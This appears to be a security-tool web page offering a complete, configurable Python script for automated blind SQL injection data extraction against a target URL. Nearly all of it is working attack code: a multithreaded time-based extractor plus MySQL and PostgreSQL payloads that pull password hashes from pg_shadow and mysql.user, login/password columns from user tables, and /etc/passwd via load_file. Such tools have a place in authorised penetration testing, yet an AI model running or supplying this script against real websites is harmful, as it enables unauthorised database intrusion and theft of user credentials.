Automated blind SQL data extraction
Doing blind SQL injections by hand takes a lot of time. In general you will always want to automate the process. This page provides you with an easily customizable script for doing blind SQL data extractions.
Why not just use sqlmap? sqlmap is an amazing tool and if it works for your scenario, I absolutely recommend that you use it rather than this script.
However, sqlmap tries to automate the whole process. And sometimes it just happens to take a wrong step somewhere down the line and it cannot do a proper injection.
This script aims to sit in the middle between sqlmap and doing a manual blind injection, or rolling your own quick script.
It allows you much more control over the queries in use, while still automating the repetitive tasks and taking care of speed optimizations for you.
## Python Script: SQLi Data Extraction
The below script contains several configurations that must be made when using it.
Injection point
vulnerable_url-> Where to send the requestsinjectable_data-> GET params or POST data. Mark the injection point with{}request_type-> Send theinjectable_dataas get params or post dataCookies-> Any cookies that must be sent with the request
Your custom extraction query
exfiltrate_container-> The outer part of your SQL query. Use this to make the entire query syntax valid, and to add a conditional timeoutexfiltrate_string-> This generally requires little changes. Unless you want to not use binary search. Mostly you just pick the correct one for your database backendexfiltrate_target-> The data you want to extract from the database. You can use[LOOP]if you want to iterate (eg. extract all rows)
The script contains several examples for these queries.
Injection Function
This allows you to configure a more specific approach, for example, you can use a boolean based injection rather than a blind injection here. It also allows you to add all kinds of custom changes in case you are dealing with some limitations. Such as removing all whitespace from the query.
Setting threads to for example 10 can massively speed up the search. However, do keep in mind that if the application is badly written, a sleep on one request will sleep for all of them. In such cases, just using 1 thread is the safest bet!
#!/usr/bin/env python3
import urllib3
import requests
import re
import time
import concurrent.futures
import threading
# Bash colors
off='\033[0m' # Text Reset
red='\033[0;91m' # Red
grn='\033[0;32m' # Green
yel='\033[0;33m' # Yellow
blu='\033[0;34m' # Blue
prp='\033[0;35m' # Purple
cya='\033[0;36m' # Cyan
###############################
# QUERY EXFILTRATION EXAMPLES #
###############################
#--------
#GENERIC
#--------
#exfiltrate_target = "select version()"
#------
#MYSQL
#------
#exfiltrate_target = 'select user()'
#exfiltrate_target = 'select concat(user, "--", file_priv) from mysql.user limit [LOOP],1'
#exfiltrate_target = 'select table_name from information_schema.tables limit [LOOP], 1'
#exfiltrate_target = "select COLUMN_NAME from information_schema.columns WHERE table_schema='somename' AND table_name='somename' LIMIT [LOOP],1"
#exfiltrate_target = "select email from admins limit [LOOP],1"
#exfiltrate_target = 'select concat(login,"--",password,"--",last_login) from members limit [LOOP],1'
#exfiltrate_target = 'select load_file("/etc/passwd")'
#exfiltrate_string = "(ascii(substring(([TARGET]),[INDEX],1))<=[CHAR])"
#exfiltrate_container = "AAAA') union (select NULL, NULL, if([BLIND_INJ], sleep([TIMEOUT]), NULL), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)#"
#---------
#POSTGRES
#---------
#exfiltrate_target = 'select table_name from information_schema.tables limit 1 offset [LOOP]'
#exfiltrate_target = 'select tablename from pg_catalog.pg_tables limit 1 offset [LOOP]'
#exfiltrate_target = 'select current_user'
#exfiltrate_target = 'select current_setting("is_superuser")'
#exfiltrate_target = 'select column_name from information_schema.columns WHERE table_name="pg_shadow" limit 1 offset [LOOP]'
#exfiltrate_target = 'select email from admins limit 1 offset [LOOP]'
#exfiltrate_target = 'select concat(usename, "--", passwd) from pg_shadow limit 1 offset [LOOP]'
#exfiltrate_target = 'select usename || "--" || passwd from pg_shadow limit 1 offset [LOOP]'
#exfiltrate_string = '(ascii(substr(([TARGET])::text, [INDEX], 1))<=[CHAR])'
#exfiltrate_container = '1 or (select case when ([BLIND_INJ]) then pg_sleep(3) else null end)::text=1::text'
#exfiltrate_container = '1 or (select case when ([BLIND_INJ]) then 1 else 0 end)=1'
###################
# CONFIG SETTINGS #
###################
vulnerable_url = 'http://somewebsite/someurl.php' # URL to attack
injectable_data = 'id=1&q={}&name=somemoredata' # Data to send, add '{}' to mark the injection point
request_type = 'GET' # GET or POST
cookies = None # {'example_cookie_name': 'example_cookie_value'}
# Default search (False) requires an 'exfiltrate_string' that returns TRUE if the real char is equal to the test char and FALSE otherwise
# Binary search (True) requires an 'exfiltrate_string' that returns TRUE if real char is 'less than or equal to' tested char and FALSE otherwise
use_binary_search = True
# Default mode (False) will simply use your blind_request function to determine TRUE or FALSE state of the query without any modifications
# Optimized mode (True) expects a parameter [TIMEOUT] in 'exfiltrate_container' to automatically adjust sleep time
# If you put this mode to True, you can use the variable 'optimized_time' in your blind_request function (ie: if request_time > optimized_time: True else: False)
# Put this mode to False if you are not using time-based-blind injection
# Always make sure that you build your query to SLEEP for TRUE queries and not sleep for FALSE queries (This is a major speedup)
optimize_time_based_search = True
exfiltrate_target = 'select CONCAT(login,"--",password,"--",last_login) from members limit [LOOP],1'
exfiltrate_string = "(ascii(substring(([TARGET]),[INDEX],1))<=[CHAR])"
exfiltrate_container = "AA') UNION (SELECT IF([BLIND_INJ], SLEEP([TIMEOUT]), NULL))#"
enable_burp_proxy = False
nr_of_threads = 10
min_chr = 32 #minimal ascii value to try (default 32) note: reduce this if your extraced string needs to contain newlines
max_chr = 126 #maximum ascii value to try (default 126)
####################################
# INJECTION FUNCTIONS TO CONFIGURE #
####################################
def blind_request(injection):
query = exfiltrate_container
query = query.replace('[BLIND_INJ]', injection)
# Delete any whitespace.
#query = query.replace(' ', '/**/')
(resp, req_time) = inject_request(query)
#if 'Some Keyword' in resp.text:
#if req_time > 3000:
if req_time > (optimized_time * 1000):
return True
else:
return False
proxies = None
if enable_burp_proxy:
proxies = {
"http" : "127.0.0.1:8080",
"https" : "127.0.0.1:8080"
}
#####################################
# NOTHING TO UPDATE BELOW THIS LINE #
#####################################
# Multithreading vars and locks
current_extraction = None
current_extraction_test = None
current_extraction_max_len = None
current_extraction_max_len_lock = threading.Lock()
threads_suicide=False
optimized_time = None
# Disable ssl cert warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def inject_request(injection_data):
url = vulnerable_url
data = dict(item.split("=") for item in injectable_data.split("&"))
if optimize_time_based_search:
injection_data = injection_data.replace('[TIMEOUT]', str(optimized_time))
for k, v in data.items():
data[k] = v.format(injection_data)
if request_type is 'GET':
req_time = time.time_ns() // 1000000
response = requests.get(url, params=data, proxies=proxies, cookies=cookies, verify=False)
req_time = (time.time_ns() // 1000000) - req_time
elif request_type is 'POST':
req_time = time.time_ns() // 1000000
response = requests.post(url, data=data, proxies=proxies, cookies=cookies, verify=False)
req_time = (time.time_ns() // 1000000) - req_time
else:
response = None
req_time = None
return (response, req_time)
def print_current_extraction():
extraction = ""
max_char_index = max(current_extraction_test or [0], key=int)
for i in range(1, max_char_index + 1):
if i in current_extraction:
char = current_extraction[i]
col = cya
elif i in current_extraction_test:
char = current_extraction_test[i]
col = blu
else:
char = " "
col = off
extraction = extraction + col + char + off
print("Exfiltrated: " + extraction + "\r", end = '')
#print("Exfiltrated: " + cya + result + blu + chr(char) + off + "\r", end = '')
def exfiltrate_linear(injection, index):
global current_extraction_max_len
q_ind = injection.replace('[INDEX]', str(index))
found = False
for char in range(min_chr, max_chr):
if threads_suicide or index > current_extraction_max_len:
if index in current_extraction_test:
current_extraction_test[index] = " "
print_current_extraction()
return
current_extraction_test[index] = chr(char)
print_current_extraction()
q = q_ind.replace('[CHAR]', str(char))
if blind_request(q):
current_extraction[index] = chr(char)
found = True
break;
if not found:
with current_extraction_max_len_lock:
if current_extraction_max_len > index:
current_extraction_max_len = index
def exfiltrate_binary(injection, index):
global current_extraction_max_len
q_ind = injection.replace('[INDEX]', str(index))
found = False
min_c = min_chr-1
max_c = max_chr
while True:
if threads_suicide or index > current_extraction_max_len:
if index in current_extraction_test:
current_extraction_test[index] = " "
print_current_extraction()
return
char = min_c + int(((max_c - min_c) / 2))
current_extraction_test[index] = chr(char)
print_current_extraction()
q = q_ind.replace('[CHAR]', str(char))
if blind_request(q):
if min_c == max_c:
if min_c == min_chr-1:
break
current_extraction[index] = chr(char)
found = True
break;
else:
max_c = char
else:
if min_c == max_c:
break;
else:
min_c = char + 1
index = index + 1
if not found:
with current_extraction_max_len_lock:
if current_extraction_max_len > index:
current_extraction_max_len = index
def multithread_iteration(func, q):
global current_extraction
global current_extraction_test
global current_extraction_max_len
global threads_suicide
current_extraction = {}
current_extraction_test = {}
current_extraction_max_len = float('inf')
with concurrent.futures.ThreadPoolExecutor(max_workers=nr_of_threads) as executor:
futures = list()
try:
for index in range(3000):
future = executor.submit(func, q, index + 1)
futures.append(future)
# Uncomment this to go one thread at a time for debugging
#future.result()
executor.shutdown(wait=True)
except KeyboardInterrupt:
err("User interrupted extraction!")
threads_suicide = True
executor.shutdown(wait=True)
err("Killed all threads!")
exit()
# Force threads to display their exceptions if any were encountered
for f in futures:
f.result()
extraction = ""
max_char_index = max(current_extraction or [0], key=int)
for i in range(1, max_char_index + 1):
if i in current_extraction:
char = current_extraction[i]
else:
char = " "
extraction = extraction + char
return extraction
def start(q):
if use_binary_search:
info("Using binary search!")
func = exfiltrate_binary
else:
info("Using linear search!")
func = exfiltrate_linear
if "[LOOP]" in q:
index = 0
while True:
qi = q.replace('[LOOP]', str(index))
result = multithread_iteration(func, qi)
if result is "":
info("Detected empty string, assuming end of list. Stopping exfiltration")
break
good(f"EXFILTRATED DATA = '{result}'")
index = index + 1
else:
result = multithread_iteration(func, q)
good(f"EXFILTRATED DATA = '{result}'")
def optimize_time_based_sleep_timeout():
global optimized_time
info("Making dummy requests to determine a good timeout value to use...")
optimized_time = 0
# Start by making FALSE requests and increase the timout every time we receive a TRUE response
# Stop after 20 consecutive FALSE responses
false_responses = 0
while false_responses < 20:
if blind_request(str(0)):
false_responses = 0
optimized_time = round(optimized_time + 0.1, 2)
print("Testing timeout: " + cya + str(optimized_time) + off + " seconds\r", end = '')
else:
false_responses = false_responses + 1
info(f"Initial timeout estimate: {optimized_time} seconds!")
info(f"Checking consistency of the responses...")
max_t = float('-inf')
min_t = float('inf')
false_spread = None
for i in range(0,10):
req_time = (time.time_ns() // 1000000)
blind_request(str(0))
req_time = (time.time_ns() // 1000000) - req_time
if req_time > max_t:
max_t = req_time
if req_time < min_t:
min_t = req_time
false_spread = max_t - min_t
max_t = float('-inf')
min_t = float('inf')
true_spread = None
for i in range(0,10):
req_time = (time.time_ns() // 1000000)
blind_request(str(1))
req_time = (time.time_ns() // 1000000) - req_time
if req_time > max_t:
max_t = req_time
if req_time < min_t:
min_t = req_time
true_spread = max_t - min_t
spread = max(false_spread, true_spread)
info(f"Detected a spread on the requests timings of {spread} ms")
info(f"Using a safety margin on 2x spread + nr_of_threads/50s + 0.1s")
optimized_time = round(optimized_time + 0.1 + ((spread / 1000) * 2) + (nr_of_threads/50), 2)
info(f"Increasing the timout to {optimized_time} seconds")
good(f"Setting final timeout value to {optimized_time} seconds")
print("")
def main():
print_banner()
if not (request_type is 'GET' or request_type is 'POST'):
err(f"request type not set! Should be 'GET' or 'POST' but is '{request_type}'!")
exit()
if enable_burp_proxy:
info(f"Tunneling all requests through proxy {proxies}")
info(f"Attempting to exfiltrate the result of the query {yel}{exfiltrate_target}{off}")
info(f"Using boolean query {yel}{exfiltrate_string}{off}")
info(f"Wrapping boolean query in container {yel}{exfiltrate_container}{off}")
print("")
q = exfiltrate_string.replace('[TARGET]', exfiltrate_target)
#debug:
#q = exfiltrate_string.replace('[TARGET]', exfiltrate_target)
#q = q.replace('[INDEX]', str(1))
#q = q.replace('[CHAR]', str(100))
#print(q)
#print(blind_request(q))
#exit()
total_time = (time.time_ns() // 1000000)
if optimize_time_based_search:
optimize_time_based_sleep_timeout()
else:
if "[TIMEOUT]" in q or "[TIMEOUT]" in exfiltrate_container:
err("WARNING: Query contains [TIMEOUT] but 'optimize_time_based_search' is not set")
start(q)
total_time = (time.time_ns() // 1000000) - total_time
good(f"exfiltration completed in {round(total_time / 1000, 2)} seconds")
good("DONE!")
def err(msg):
print(f"{red}[-] {msg}{off}")
def good(msg):
print(f"{grn}[+] {msg}{off}")
def info(msg):
print(f"[*] {msg}")
def print_banner():
print(f"{yel}", end = '')
print("======================================================")
print("= SQLI EXTRACT - by Polle Vanhoof =")
print("= A tool for manual blind SQLI data extraction =")
print("======================================================")
print(f"{off}")
main()